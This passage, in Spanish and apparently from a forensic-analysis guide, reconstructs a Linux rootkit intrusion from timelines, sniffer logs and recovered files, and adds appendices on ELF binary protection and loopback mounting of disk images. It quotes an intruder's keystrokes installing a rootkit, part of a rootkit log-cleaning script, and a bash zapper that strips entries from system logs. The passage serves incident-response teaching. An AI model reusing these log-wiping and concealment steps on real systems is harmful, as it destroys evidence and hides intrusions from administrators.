Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

